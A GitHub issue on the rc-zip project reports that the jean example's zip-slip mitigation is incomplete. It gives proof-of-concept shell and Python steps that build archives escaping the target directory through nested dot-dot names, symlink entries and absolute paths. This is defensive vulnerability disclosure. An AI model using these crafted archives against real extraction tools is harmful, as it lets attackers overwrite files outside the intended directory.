bearcove/rc-zip

More ways to zip slip jean

Closed this issue · 0 comments

#13 found a dot-dot directory traversal vulnerability in the jean example program. The mitigation there of stripping ../ from paths is incomplete, and there are still other ways to escape the target directory.

I'm looking at commit d43c169.

Dot-dot

replace.zip

The mitigation for #13 treats file names as strings, and removes all instances of the substring ../ (or ..\ on Windows).
https://github.com/rust-compress/rc-zip/blob/d43c16991b30dce0e25862854b16883eb3dd80f0/samples/jean/src/main.rs#L224-L228

First, ../ should be stripped even on Windows. / is the zip file directory separator, regardless of the separator of the underlying filesystem (see appnote.txt 4.4.17).

Second, a file name may become a directory traversal after being transformed. For example, ..././escape.txt becomes ../escape.txt.

rm -f replace.zip
mkdir ...
touch .../escape.txt
zip -0 -X replace.zip ..././escape.txt
rm -r ...
cargo run -- unzip replace.zip
stat ../escape.txt

Symlink traversal

symlink.zip

One entry may be a directory symbolic link pointing outside the target directory, and a later entry may write through the symlink.

This is like CVE-2002-1216 in GNU Tar.

rm -f symlink.zip
ln -s ../ path
zip -0 -X --symlinks symlink.zip path
rm path
mkdir path
touch path/escape.txt
zip -0 -X -D symlink.zip path/escape.txt
rm -r path
cargo run -- unzip symlink.zip
stat ../escape.txt

Absolute path

absolute.zip

File names starting with / are treated as absolute and can write outside the target directory. On Windows, prefixes like C:\ and UNC paths like \\ComputerName\ may also work.

This is like CVE-2001-1269 in Info-ZIP UnZip.

import zipfile
with zipfile.ZipFile("absolute.zip", mode="w") as z:
    z.writestr("/tmp/escape.txt", "")
python3 absolute.py
cargo run -- unzip absolute.zip
stat /tmp/escape.txt

UnZip strips the absolute prefix in this case:

Archive:  absolute.zip
warning:  stripped absolute path spec from /tmp/escape.txt
 extracting: tmp/escape.txt